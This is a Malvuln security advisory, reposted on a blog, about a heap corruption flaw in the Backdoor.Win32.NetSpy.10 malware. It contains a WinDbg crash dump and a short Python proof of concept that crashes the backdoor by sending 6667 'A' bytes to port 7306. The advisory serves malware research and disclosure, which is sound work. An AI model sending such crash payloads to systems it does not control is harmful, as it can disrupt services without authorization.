Wednesday, June 2, 2021

Backdoor.Win32.NetSpy.10 Heap Corruption

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e677149c35cbba118655d9b133da8827.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetSpy.10
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 7306 and drops an executable named "SPYNOTIFY.EXE" under SysWOW64 dir. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption overwriting EDX and EAX registers.
Type: PE32
MD5: e677149c35cbba118655d9b133da8827
Vuln ID: MVID-2021-0235
Dropped files: SPYNOTIFY.EXE
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/01/2021

Memory Dump:
(17a0.8ec): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=042a0e28 edx=61616161 esi=00000003 edi=00000003
eip=7720ed3c esp=02730028 ebp=027301b8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7720ed3c c21400 ret 14h

0:002> .ecxr
eax=61616161 ebx=042a0a28 ecx=042a0e28 edx=61616161 esi=042a0e20 edi=042a0000
eip=771dfd18 esp=02730948 ebp=02730aa0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
ntdll!RtlpFreeHeap+0x298:
771dfd18 8b00 mov eax,dword ptr [eax] ds:002b:61616161=????????

0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe

FAULTING_IP:
ntdll!RtlpFreeHeap+298
771dfd18 8b00 mov eax,dword ptr [eax]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 61616161
Attempt to read from address 61616161

PROCESS_NAME: Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 61616161

READ_ADDRESS: 61616161

FOLLOWUP_IP:
Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915
00404915 5e pop esi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000008ec

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161

LAST_CONTROL_TRANSFER: from 771dfa0d to 771dfd18

STACK_TEXT:
02730aa0 771dfa0d 042a0a28 042a0a30 02730bc8 ntdll!RtlpFreeHeap+0x298
02730af4 00404915 042a0000 00000000 042a0a30 ntdll!RtlFreeHeap+0x7cd
WARNING: Stack unwind information not available. Following frames may be wrong.
02730b0c 0040382a 042a0a30 00401977 042a0a30 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x4915
02730b14 00401977 042a0a30 042b0910 00403570 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x382a
02730b18 042a0a30 042b0910 00403570 0274ff80 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x1977
02730b1c 042b0910 00403570 0274ff80 042b0910 0x42a0a30
02730b20 00403570 0274ff80 042b0910 20393131 0x42b0910
02730b24 0274ff80 042b0910 20393131 65747962 Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+0x3570
02730b28 042b0910 20393131 65747962 000a0d73 0x274ff80
0274ff80 761f8654 042b0910 761f8630 4ef3ea98 0x42b0910
0274ff94 77204a77 042b0910 a3721ebb 00000000 kernel32!BaseThreadInitThunk+0x24
0274ffdc 77204a47 ffffffff 77229eb8 00000000 ntdll!__RtlUserThreadStart+0x2f
0274ffec 00000000 00403570 042b0910 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: !heap ; ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX: 2

SYMBOL_NAME: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827

IMAGE_NAME: Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 35cfac97

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_61616161_c0000005_Backdoor.Win32.NetSpy.10.e677149c35cbba118655d9b133da8827.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_61616161_Backdoor_Win32_NetSpy_10_e677149c35cbba118655d9b133da8827+4915

Followup: MachineOwner
---------

0:002> .exr -1
ExceptionAddress: 771dfd18 (ntdll!RtlpFreeHeap+0x00000298)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 61616161
Attempt to read from address 61616161


Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=7306

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*6667
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.NetSpy.10 / Heap Corruption")
print("MD5: e677149c35cbba118655d9b133da8827")
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated